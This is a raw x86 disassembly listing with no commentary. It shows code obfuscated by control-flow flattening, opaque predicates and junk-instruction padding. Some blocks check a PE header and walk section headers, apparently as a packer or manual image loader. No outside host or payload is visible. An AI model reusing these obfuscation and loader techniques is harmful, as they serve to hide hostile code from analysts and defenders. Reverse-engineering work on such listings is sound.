jne 0x402ce0
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x164]
cmp ecx, dword [eax]
mov eax, 0x139b9f0f
setl byte [ebp - 0x76]
jmp 0x402ce0
cmp eax, 0xb5aa8faa
jg 0x4055ce
cmp eax, 0xb50cd52b
jle 0x407008
cmp eax, 0xb50cd52c
je 0x40a227
cmp eax, 0xb54adbe1
je 0x40a231
cmp eax, 0xb55c9524
jne 0x402ce0
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
cmp ecx, dword [eax + 0x1c]
mov eax, 0x951c8667
mov ecx, 0x717cc61a
cmove eax, ecx
jmp 0x402ce0
cmp eax, 0x72703b6c
jg 0x405780
cmp eax, 0x717cc619
jle 0x407028
cmp eax, 0x717cc61a
je 0x40a34a
cmp eax, 0x71f1fc1c
je 0x40a526
cmp eax, 0x725d42ae
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0xe5c56a06
and edx, 0x1a3a95f9
or edx, ecx
mov ecx, edx
mov eax, edx
xor edx, 0x20885bee
xor eax, 0x1a3a95f9
xor ecx, 0xe5c56a06
mov edi, edx
and edi, eax
and edx, ecx
and ecx, 0x6690f6de
and eax, 0x996f0920
mov esi, edi
not esi
and edi, 0x69e5bcc5
or eax, ecx
mov ebx, esi
and ebx, 0x961a433a
xor eax, 0x996f0920
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x69e5bcc5
or esi, ebx
and ebx, 0x961a433a
or edx, ebx
not esi
xor edx, edi
mov edi, 0x8590d4e3
or esi, edx
mov edx, esi
not edx
and esi, 0xc54d31e9
and edx, 0x3ab2ce16
or esi, edx
or eax, esi
mov edx, eax
xor edx, 0x20abf666
mov ecx, eax
and ecx, 0x200bf222
and edx, eax
not eax
and eax, 0xa00444
or ecx, eax
mov eax, ecx
xor eax, 0x200bb020
xor ecx, 0xdff40ddd
mov esi, ecx
and esi, 0x1dc443db
and eax, 0x202bb424
or eax, esi
mov esi, edx
not esi
and edx, 0xe23bbc24
or ecx, esi
and esi, 0x1dc443db
or edx, esi
not ecx
mov esi, 0xd4a65933
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbe8b3163
and eax, 0x4174ce9c
or ecx, eax
cmp ecx, 0x9e20c705
setne dl
cmp dword [0x4d6178], 0xa
setl ah
setge al
mov cl, ah
and cl, dl
inc dl
and al, dl
or al, cl
mov cl, ah
xor cl, dl
or dl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
not al
mov edx, 0x8590d4e3
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmove edx, esi
test al, al
cmove edx, edi
test al, cl
cmovne edx, edi
mov eax, edx
jmp 0x402ce0
cmp eax, 0xf09f24a0
jg 0x4058d0
cmp eax, 0xecbea864
jle 0x40717a
cmp eax, 0xecbea865
je 0x40a5e6
cmp eax, 0xed534df5
je 0x40a8ac
cmp eax, 0xeeb0cbce
jne 0x402ce0
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, 0x238c8f9b
jmp 0x402ce0
cmp eax, 0xff0ca8d0
jg 0x4059cc
cmp eax, 0xfbd3d9f1
jle 0x4071a6
cmp eax, 0xfbd3d9f2
je 0x40a9e8
cmp eax, 0xfc923405
je 0x40a9f2
cmp eax, 0xfdc0ddce
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x1862008a
mov edx, ecx
and edx, 0x8000008
and eax, ecx
not ecx
and ecx, 0x10620082
or edx, ecx
xor edx, 0x8000008
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6f167909
and ecx, 0x90e986f6
or eax, ecx
mov ecx, eax
xor eax, 0x88888010
xor ecx, 0x77747983
mov edx, ecx
and eax, 0xc98cf890
and edx, 0x3673076f
and ecx, 0xf37d6ea2
or edx, eax
mov eax, edx
xor eax, 0x3673076f
xor edx, 0x49042010
mov esi, eax
and esi, 0xc82915d
and edx, 0x4d452675
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc82915c
and esi, 0xf37d6ea3
or ecx, esi
mov esi, eax
and esi, 0xb2bad98a
and eax, 1
or esi, edx
xor esi, 0x4d452674
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x24610090
and eax, 0xd0100101
mov edx, ecx
and edx, 0x8a506a
or ecx, 0x284028
or esi, edx
and ecx, 0xb2cee2c
mov edx, esi
xor edx, 0x24410090
xor esi, 0xb0cee2c
or eax, ecx
and esi, 0xb2cee2c
and edx, 0x24c310d2
or edx, esi
mov esi, 0x94001b91
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x24eb50fa
and ecx, 0xdb14af05
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9b465caf
and ecx, 0x64b9a350
or eax, ecx
xor eax, 0x64b9a350
sete ch
setne ah
cmp dword [0x4d6178], 0xa
setge al
setl dl
mov dh, al
mov cl, al
xor dl, ch
inc dh
and cl, ch
and dh, ah
or cl, dh
mov dh, ah
xor dh, al
or al, ah
mov ch, cl
xor al, 1
xor ch, 1
or al, dl
xor al, 1
or al, dh
mov dh, cl
mov dl, al
and dh, ch
xor dl, 1
xor dh, 1
mov ah, dl
or dh, ch
xor ch, al
and ah, al
xor dh, 1
xor ah, 1
or dh, cl
or ah, al
mov bl, dh
xor ah, 1
xor bl, 1
or ah, dl
or dl, cl
xor dl, 1
and bl, ah
xor ah, 1
and ah, dh
or dl, ch
mov ecx, 0xe4c287bc
or ah, bl
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0xe4c287bc
jmp 0x402ccf
cmp eax, 0x8909ab73
jg 0x405b42
cmp eax, 0x88a1cd37
jle 0x407283
cmp eax, 0x88a1cd38
je 0x40aa17
cmp eax, 0x88dcdf80
je 0x40aa49
cmp eax, 0x88e24513
jne 0x402ce0
cmp byte [ebp - 0x77], 0
mov eax, 0x6d2ba2b7
mov ecx, 0x50eee043
cmovne eax, ecx
jmp 0x402ce0
cmp eax, 0x4ec14354
jg 0x405ca9
cmp eax, 0x4bd83172
jle 0x4072a3
cmp eax, 0x4bd83173
je 0x40aa53
cmp eax, 0x4c11ae11
je 0x40aa5d
cmp eax, 0x4e96fe41
jne 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0x70ffafbd
mov esi, edx
and ecx, 0xe0c8505f
and esi, 0x1f37afa0
or esi, ecx
mov ecx, edx
or ecx, 0xe0c8505e
and edx, 0x8f005042
and ecx, 0xe0c8505f
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x45bdb503
mov esi, edx
and esi, 0xba424afc
or ecx, esi
mov esi, eax
xor esi, 0x40bda501
xor eax, 0x8a004040
and eax, 0xba424afc
and esi, 0x45bdb503
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xbec7c933
sete dl
setne al
cmp dword [0x4d6178], 0xa
mov ch, dl
setge ah
setl cl
and ch, ah
xor ah, dl
and al, cl
or cl, dl
mov dl, ah
or al, ch
xor dl, cl
or cl, ah
xor al, 1
xor cl, 1
or cl, dl
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x4bd83173
cmovne eax, esi
test dl, 1
mov edx, 0x4bd83173
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0xc96d8261
jg 0x405cfe
cmp eax, 0xc897630f
jle 0x4072f8
cmp eax, 0xc8976310
je 0x40aa76
cmp eax, 0xc8b3adc8
je 0x40ab1a
cmp eax, 0xc93a51c7
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x1b6c3d1c
and ecx, 0xd30a633a
mov edx, eax
and edx, 0xe493c2e2
or esi, edx
mov edx, eax
or edx, 0xf688e774
and eax, 0x2cf59cc5
mov edi, esi
xor edi, 0x9641808
xor esi, 0xe480c261
and edx, 0xf688e775
or eax, ecx
and esi, 0xf688e775
and edi, 0x977188a
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x2cf59cc5
mov edi, esi
and edi, 0xd30a633a
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x2a576e1c
sete al
setne dl
cmp dword [0x4d6178], 0xa
setge cl
setl ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf32558c5
cmovne eax, esi
test dl, 1
mov edx, 0xf32558c5
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0x26f67a22
jg 0x405e79
cmp eax, 0x26a7eb7b
jle 0x407318
cmp eax, 0x26a7eb7c
je 0x40ab35
cmp eax, 0x26b8323d
je 0x40abe8
cmp eax, 0x26e3f753
jne 0x402ce0
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x28]
mov eax, 0x26f67a23
jmp 0x402ce0
cmp eax, 0xafef97c7
jg 0x405eb8
cmp eax, 0xae3953dc
jle 0x407478
cmp eax, 0xae3953dd
je 0x40accc
cmp eax, 0xaf714061
je 0x40ace1
cmp eax, 0xafacda72
jne 0x402ce0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov dword [ebp - 0x160], eax
mov eax, 0xe41a3659
jmp 0x402ce0
cmp eax, 0x6e5442c7
jg 0x405ef7
cmp eax, 0x6d8f7573
jle 0x4074b1
cmp eax, 0x6d8f7574
je 0x40acf6
cmp eax, 0x6dae0efb
je 0x40ad00
cmp eax, 0x6dfae452
jne 0x402ce0
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
cmp ecx, dword [eax]
mov eax, 0xb7ec7ce6
setb byte [ebp - 0x75]
jmp 0x402ce0
cmp eax, 0xe4765434
jle 0x4075a7
cmp eax, 0xe4765435
je 0x40ae2a
cmp eax, 0xe4c287bc
je 0x40ae34
cmp eax, 0xe5005e30
jne 0x402ce0
mov eax, 0xcaa81e22
jmp 0x402ce0
cmp eax, 0x182fb5f6
jle 0x4075ee
cmp eax, 0x182fb5f7
je 0x40b029
cmp eax, 0x187ed88d
je 0x40b033
cmp eax, 0x1895dc88
jne 0x402ce0
mov eax, 0x6a9d07e1
jmp 0x402ce0
cmp eax, 0x94e19612
jle 0x4077cd
cmp eax, 0x94e19613
je 0x40b11a
cmp eax, 0x951c8667
je 0x40b28b
cmp eax, 0x95565969
jne 0x402ce0
mov eax, 0xf597891b
jmp 0x402ce0
cmp eax, 0x57d15af7
jle 0x40781b
cmp eax, 0x57d15af8
je 0x40b2a9
cmp eax, 0x590bc5cb
je 0x40b479
cmp eax, 0x5ab2480d
jne 0x402ce0
mov eax, 0x23b8a2da
jmp 0x402ce0
cmp eax, 0xd4645a36
jle 0x40783e
cmp eax, 0xd4645a37
je 0x40b486
cmp eax, 0xd47d6b75
je 0x40b49b
cmp eax, 0xd4a65933
jne 0x402ce0
mov eax, 0x725d42ae
jmp 0x402ce0
cmp eax, 0x33eb239e
jle 0x407875
cmp eax, 0x33eb239f
je 0x40b4a8
cmp eax, 0x3489850e
je 0x40b4b2
cmp eax, 0x35ce99ab
jne 0x402ce0
mov eax, 0x6dae0efb
jmp 0x402ce0
cmp eax, 0xbba04191
jle 0x407895
cmp eax, 0xbba04192
je 0x40b4c8
cmp eax, 0xbe841cc3
je 0x40b562
cmp eax, 0xbec7c933
jne 0x402ce0
mov eax, 0x4e96fe41
jmp 0x402ce0
cmp eax, 0x76915382
jle 0x4078b5
cmp eax, 0x76915383
je 0x40b679
cmp eax, 0x7748c832
je 0x40b683
cmp eax, 0x789c4bc4
jne 0x402ce0
add eax, 0x97
rcr ebx, 0x9a
add ebx, 1
sbb esi, 0xb2
mov eax, 0x55
rcl ebx, 0x97
ror edx, 0xd9
not esi
not ebx
and edi, 0x81
bswap edi
rcr edi, 0x64
mov esi, 0x12
sub esi, 0x67
neg ebx
imul edx
ror eax, 0xfc
sbb esi, 0xc6
neg edx
imul esi
rol edi, 0x1f
inc esi
neg edi
sub eax, 0x31
sub edi, 0x8c
add eax, 0xa6
sbb edi, 0xda
or edi, 0x23
sub edx, 0xf5
inc esi
rcl edi, 0x9e
rcl eax, 0xb1
rol edx, 0x85
rol eax, 0xec
dec esi
ror edx, 0x89
sub edx, 0xc7
inc ebx
sub edx, 0xf9
mov eax, 0x8b
inc esi
imul eax
rcr edx, 0xa0
inc edi
inc ebx
neg ebx
add edi, 0xda
dec edi
rol esi, 0x30
imul esi
neg esi
neg esi
neg edi
dec esi
dec esi
sbb eax, 0xc3
add ebx, 0xe1
dec edx
and esi, 0x53
and eax, 0x63
and edi, 0x9b
bswap ebx
neg edi
rcl edi, 0x73
add esi, 0x7d
mov edx, 0xc7
sbb ebx, 0xd6
or edx, 0xb9
not edi
not eax
rcr edi, 0x57
not ebx
add ebx, 0xd1
sbb eax, 0x34
dec ebx
bswap eax
rol eax, 0xf7
neg edi
bswap edi
rol edi, 0xc6
inc edi
bswap eax
mov ebx, 0xcc
rol ebx, 0xc4
neg esi
inc ebx
ror edx, 0x29
and edi, 0x49
not eax
imul ebx
not esi
ror edi, 0xdc
neg edi
inc ebx
rcl ebx, 0xcd
dec esi
or edi, 0x67
neg eax
bswap edx
add edx, 0x8e
ror ebx, 0x42
add edi, 0xf
rol ebx, 0x53
and edx, 0xe3
rol edi, 0x2a
rol edx, 0x62
inc ebx
imul edi
and eax, 0x9d
rcr edi, 0xa9
inc eax
not eax
bswap edi
and edx, 0x33
imul edi
mov edx, 0x97
mov ebx, 0xc4
neg edi
not edi
sbb esi, 0x9a
rcl esi, 0xe
dec eax
rcl edx, 0xb6
neg esi
rcl eax, 0xac
mov ebx, 0xcb
mov ebx, 0xbb
not ebx
sub edi, 0x87
and edi, 0x80
and edi, 0xdf
neg edx
ror eax, 0xc5
ror esi, 0x46
or edx, 0xa5
neg esi
mov edx, 0x89
bswap edx
sbb edx, 0xb1
not eax
sub esi, 0xae
imul edx
rcl esi, 0xc
bswap esi
inc edi
imul edi
add edi, 0xe1
not edx
bswap edx
not edx
dec ebx
or esi, 0xb9
inc ebx
not edx
bswap ebx
add ebx, 0xa
inc edx
inc esi
neg edx
and esi, 0x7e
not esi
bswap ebx
not ebx
or edx, 0xe8
rcr esi, 0xa0
or ebx, 0x1c
rcr eax, 0x39
dec eax
dec esi
inc ebx
imul eax
neg esi
rcl ebx, 0x5c
sub ebx, 0xd3
and edx, 0xd3
not eax
mov eax, 0x6d
and edx, 0x16
bswap ebx
imul esi
not edi
rcr eax, 0xe6
imul edi
sub edx, 0x25
neg edx
sbb ebx, 0x88
ror esi, 0x94
imul esi
dec edx
bswap edi
sbb eax, 6
bswap edi
ror esi, 0x71
or edx, 0x5d
mov ebx, 0x6d
imul edx
and edx, 0x86
rol edi, 0xbb
neg ebx
bswap edx
sbb eax, 0x64
inc eax
rol edx, 0x1a
rcl edx, 0x4b
neg edi
not edi
sbb esi, 0x53
ror ebx, 0xae
sbb edi, 0xd9
imul edx
sub eax, 0xd1
sbb esi, 0xbf
ror edi, 0xbd
neg ebx
neg eax
dec esi
imul ebx
neg edi
not ebx
neg edx
rcl eax, 0x1c
imul edx
and ebx, 0x36
neg edi
ror eax, 6
neg edx
neg ebx
add eax, 0xde
imul edx
ror ebx, 0x37
not ebx
and eax, 0xea
not eax
or eax, 0x17
inc eax
mov edx, 0xc0
rcl edi, 0xf4
rcr edi, 0xd0
inc edx
and esi, 0x4c
neg edi
imul esi
rcr eax, 0xdd
not esi
rcl edi, 0x2b
inc edx
not eax
or ebx, 0xfc
sbb esi, 0xb9
sub esi, 0xa1
sub esi, 0xf5
rcr eax, 0xc2
sub ebx, 0xc6
mov eax, 0xca
add eax, 0x28
sbb ebx, 0x8e
inc edx
inc eax
and edi, 2
rcl esi, 5
add eax, 0xd0
ror esi, 0xff
imul edx
or ebx, 9
bswap edi
dec edi
rcr esi, 0x9a
neg eax
imul edx
imul esi
bswap edi
or ebx, 0x9f
sub edx, 0xa1
dec esi
mov ebx, 0x3b
not esi
neg edx
rol eax, 0x31
sub ebx, 0x15
rol eax, 0xe3
ror esi, 0x69
not edi
rol esi, 0xc9
or edx, 0x93
sbb esi, 0x26
neg esi
inc esi
bswap edi
dec ebx
not esi
inc esi
neg eax
bswap ebx
dec eax
inc edi
imul esi
rcr esi, 0x44
ror ebx, 0xb8
ror esi, 0
sub esi, 0x61
rcr edx, 0x17
inc ebx
add edx, 0x2c
or edi, 0xa1
rcl ebx, 0x9f
sbb eax, 0x44
or eax, 0xf8
inc ebx
inc esi
mov ebx, 0x87
rcr ebx, 0x48
rol edx, 0xd3
neg edx
rol edi, 0x2a
inc ebx
not ebx
not ebx
mov esi, 0xd9
and esi, 0x51
imul eax
rol esi, 0xb8
or edx, 0xd3
or edx, 0x1b
imul eax
ror ebx, 0x27
not edi
mov ebx, 0x8d
neg eax
bswap edx
ror ebx, 0xd6
inc esi
dec eax
and eax, 0xa0
rol esi, 0x29
not edi
not eax
sub eax, 5
sbb edx, 0x53
not eax
bswap edx
inc edx
or edx, 0xd
mov ebx, 0xae
dec esi
ror eax, 0x4e
or ebx, 0xae
not ebx
imul edx
imul edx
bswap esi
rcr eax, 0xcd
rol eax, 0xf8
inc esi
neg edx
imul esi
dec eax
bswap edx
neg edi
imul edi
sub eax, 0x37
rol ebx, 0x5f
mov edi, 0x51
add edx, 0x2e
mov ebx, 0x5b
or edx, 0xa7
rol edx, 0x79
not edx
imul esi
neg ebx
sub ebx, 0x92
rcr eax, 0x6e
and edi, 0x26
dec eax
not eax
ror ebx, 0x97
add ebx, 0xb5
neg eax
imul edx
or ebx, 0x73
rcr ebx, 0x63
or edx, 0x3f
not edx
add esi, 0x85
sbb ebx, 0x28
sub edi, 0x29
rol ebx, 0xd4
rol eax, 0x52
neg edi
imul esi
sbb esi, 0xdc
ror esi, 0x1f
and eax, 0x43
neg eax
ror eax, 0x36
sub ebx, 0x20
neg edx
imul edx
not edx
sub eax, 0xeb
bswap esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0x874ab032
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x26659ec4
cmove eax, ecx
jmp 0x402ce0
cmp eax, 0xf3721fff
jle 0x4078d5
cmp eax, 0xf3722000
je 0x40b690
cmp eax, 0xf3bb6350
je 0x40b6a6
cmp eax, 0xf48fd951
jne 0x402ce0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0x1bc]
push dword [ebp - 0xd4]
push dword [ebp - 0x1b4]
push dword [ebp - 0x1b8]
push eax
vzeroupper
call fcn.00402190
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, 0x1672853f
jmp 0x402ce0
cmp eax, 0xadbca2f
jle 0x4078f5
cmp eax, 0xadbca30
je 0x40b782
cmp eax, 0xb9d3979
je 0x40b792
cmp eax, 0xba2f528
jne 0x402ce0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x40]
mov eax, 0x30af3acf
jmp 0x402ce0
cmp eax, 0x8590d4e2
jle 0x407a3a
cmp eax, 0x8590d4e3
je 0x40b7b2
cmp eax, 0x85c66823
je 0x40b7bc
cmp eax, 0x86530592
jne 0x402ce0
bswap edx
rol eax, 0x6e
rcl edi, 0x81
dec edi
rcr edx, 0x50
neg esi
dec eax
sbb edi, 0x13
dec edx
dec eax
sub ebx, 0x70
inc eax
dec edi
sbb ebx, 0xcd
bswap edi
neg edi
dec ebx
dec edi
add ebx, 0xe1
neg ebx
dec edi
bswap eax
neg esi
imul eax
rcl ebx, 0x39
neg esi
add eax, 0x61
rol ebx, 7
dec ebx
inc edi
rcr edi, 0x4b
rcl ebx, 0x57
rcl eax, 0xb0
not ebx
rcr eax, 7
rcl edi, 0xfc
add ebx, 0xda
not esi
neg ebx
and ebx, 0x6a
dec ebx
imul esi
rcr ebx, 0xa9
neg edx
neg eax
bswap edi
ror edi, 0xe2
rcl edi, 0xee
inc edx
dec esi
dec eax
ror edi, 0xe2
ror edx, 0x1e
dec edi
sbb eax, 0x44
bswap esi
neg ebx
and eax, 0xeb
add eax, 0x17
inc eax
not ebx
and ebx, 0xed
add eax, 0xda
neg ebx
rol ebx, 0xd8
add edx, 0x77
inc eax
imul edi
mov edi, 0x26
or ebx, 0x4f
mov esi, 0xec
and ebx, 0x3c
add edi, 0xf2
not edx
bswap edi
inc esi
imul edi
mov edi, 8
bswap eax
rcl ebx, 0x34
dec edi
and esi, 9
rcl eax, 0xcf
inc ebx
sbb ebx, 0xe4
neg edx
imul edi
rcl eax, 0xf9
imul esi
neg ebx
neg edx
rcl edx, 0xb5
sub edi, 0xcb
inc esi
and edi, 0x1b
inc edx
not ebx
inc eax
imul ebx
not eax
or esi, 0x7d
ror ebx, 0x6f
dec edi
imul edi
and edi, 0x58
dec eax
rol esi, 0xfe
not edi
bswap eax
rol edx, 0x58
not edx
add eax, 0xa2
mov eax, 0xd5
inc eax
rol edx, 0x72
mov ebx, 0x8e
dec ebx
bswap edx
ror esi, 0x7d
bswap edi
dec ebx
rcl ebx, 0x3c
ror ebx, 0x11
rcl ebx, 0x6c
dec eax
sub esi, 0x2f
mov eax, 0x6b
and esi, 0x17
not edi
or ebx, 0xbf
dec esi
rcl eax, 0x98
bswap edi
bswap edx
imul eax
dec edx
rol ebx, 0x59
rol esi, 0x54
inc esi
rcl edx, 0xca
and edi, 0x42
inc ebx
add eax, 0xb8
imul edx
rol edx, 0x2f
sbb esi, 0xed
and esi, 0xef
sub edx, 0xf6
imul esi
dec ebx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x30]
mov eax, 0xfdc0ddce
jmp 0x402ce0
cmp eax, 0x47f9c89f
jle 0x407a5d
cmp eax, 0x47f9c8a0
je 0x40b7c6
cmp eax, 0x4a18d61c
je 0x40b7d0
cmp eax, 0x4b1a2848
jne 0x402ce0
mov eax, dword [ebp - 0xec]
mov eax, 0x8e2edb1c
jmp 0x402ce0
cmp eax, 0xc63da2f0
jle 0x407a7d
cmp eax, 0xc63da2f1
je 0x40b7da
cmp eax, 0xc66e2c3d
je 0x40b830
cmp eax, 0xc71568ce
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x9a8ef93a
mov esi, edx
and esi, 0x657106c4
and edx, 0x26983157
or eax, esi
mov esi, eax
xor esi, 0x8288c802
xor eax, 0x657106c5
mov edi, eax
and edi, 0x3d6733f9
and esi, 0xc298cc06
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xd967cea8
mov ebx, edi
not ebx
and edi, 0xc298cc06
or ecx, edx
or eax, ebx
and ebx, 0x3d6733f9
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x6315e37a
and esi, 0x9cea1c85
or esi, edx
mov edx, ecx
xor edx, 0x98620c80
xor ecx, 0x26983157
or eax, ecx
and ecx, 0x6315e37a
and edx, 0x9cea1c85
or edx, ecx
not eax
xor edx, esi
mov esi, 0xccc20ed8
or eax, edx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x4d6178], 0xa
mov cl, ah
setl dl
setge al
xor cl, dl
mov dh, dl
and al, ah
and cl, ch
or dh, ch
and ch, dl
or dl, ah
or al, ch
xor cl, 1
xor al, 1
mov ebx, ecx
or cl, dh
mov ah, al
or al, dl
xor bl, dh
xor cl, 1
xor ah, dl
xor al, 1
or cl, bl
or al, ah
mov edx, eax
mov ah, al
xor dl, 1
and ah, dl
xor ah, 1
or ah, dl
or dl, cl
xor ah, 1
xor dl, 1
or ah, al
mov ch, ah
xor ah, 1
and ch, cl
xor cl, 1
and ah, cl
xor cl, al
or dl, cl
or ah, ch
mov ecx, 0x7baa5272
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x7baa5272
jmp 0x402ccf
cmp eax, 0x243b92a7
jle 0x407aae
cmp eax, 0x243b92a8
je 0x40b91d
cmp eax, 0x26117575
je 0x40b9ea
cmp eax, 0x2663474d
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x52a410c1
and edx, 0xad5bef3e
or edx, esi
mov esi, eax
not esi
and eax, 0xad5bef3e
or ecx, esi
and esi, 0x52a410c1
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x70d37f4e
mov edx, ecx
and edx, 0x281d76a0
and eax, ecx
not ecx
and ecx, 0xd7e2895f
or edx, ecx
mov ecx, edx
xor ecx, 0x281d76a0
xor edx, 0xd0e2015f
mov esi, ecx
and esi, 0x70d37f4e
and edx, 0xf8e6115f
or eax, esi
mov esi, eax
not esi
and eax, 0x13e06b94
and esi, 0xec1f946b
or eax, esi
mov esi, ecx
and esi, 0x719eea0
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x120080
xor eax, 0x9ccceb24
xor esi, 0xf8e6115e
and edx, 0x1c166180
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2d8e4dd4
and esi, 0xd271b22b
or ecx, esi
mov esi, eax
and esi, 0xe3e99e7f
or edx, esi
mov esi, ecx
xor esi, 0xc064180
xor ecx, 0xd271b22b
or eax, ecx
and ecx, 0xe3e99e7f
and esi, 0x1c166180
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xd40f240f
mov ecx, eax
not ecx
and eax, 0x183ffb19
and ecx, 0xe7c004e6
or ecx, eax
mov eax, ecx
xor eax, 0xa1c00022
xor ecx, 0x8337019
and ecx, 0x4e3374dd
and eax, 0xb1cc8b22
or eax, ecx
mov ecx, eax
xor ecx, 0x421150d1
xor eax, 0x30480b02
and eax, 0x3c6a2f0e
and ecx, 0xc395d0f1
or ecx, eax
xor ecx, 0xc395d0f1
sete dl
setne ah
cmp dword [0x4d6178], 0xa
setl ch
setge al
mov cl, ch
or ch, ah
xor dl, al
xor cl, ah
and dl, al
xor al, ah
not cl
or al, dl
and cl, ah
mov ah, al
xor cl, 1
xor ah, 1
mov dh, cl
or cl, ch
xor dh, ch
xor cl, 1
or cl, dh
mov edx, ecx
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x8ef1dcce
cmovne ecx, esi
test al, al
mov esi, 0x8ef1dcce
jmp 0x40b9da
cmp eax, 0xa167a0df
jle 0x407b72
cmp eax, 0xa167a0e0
je 0x40b9fa
cmp eax, 0xa96f92de
je 0x40bb55
cmp eax, 0xab2a4f8f
jne 0x402ce0
mov eax, 0x81dc342c
jmp 0x402ce0
cmp eax, 0x6a9d07e0
jle 0x407b92
cmp eax, 0x6a9d07e1
je 0x40bb68
cmp eax, 0x6b961f90
je 0x40bb9f
cmp eax, 0x6c2fa001
jne 0x402ce0
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, 0x8b013983
jmp 0x402ce0
cmp eax, 0xdedb9983
jle 0x407bee
cmp eax, 0xdedb9984
je 0x40bba9
cmp eax, 0xe0b782cf
je 0x40bbca
cmp eax, 0xe16592fe
jne 0x402ce0
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xcc]
mov eax, 0x2d4e930b
jmp 0x402ce0
cmp eax, 0x15ec6e56
jle 0x407d41
cmp eax, 0x15ec6e57
je 0x40bbd4
cmp eax, 0x163621bb
je 0x40bce7
cmp eax, 0x1672853f
jne 0x402ce0
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0x8159d7b8
jmp 0x402ce0
cmp eax, 0x93107749
jle 0x407d6d
cmp eax, 0x9310774a
je 0x40be61
cmp eax, 0x9375358e
je 0x40bf1e
cmp eax, 0x94001b91
jne 0x402ce0
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0xe4c287bc
jmp 0x402ce0
cmp eax, 0x53623891
jle 0x407e76
cmp eax, 0x53623892
je 0x40bf9e
cmp eax, 0x53d0fd4d
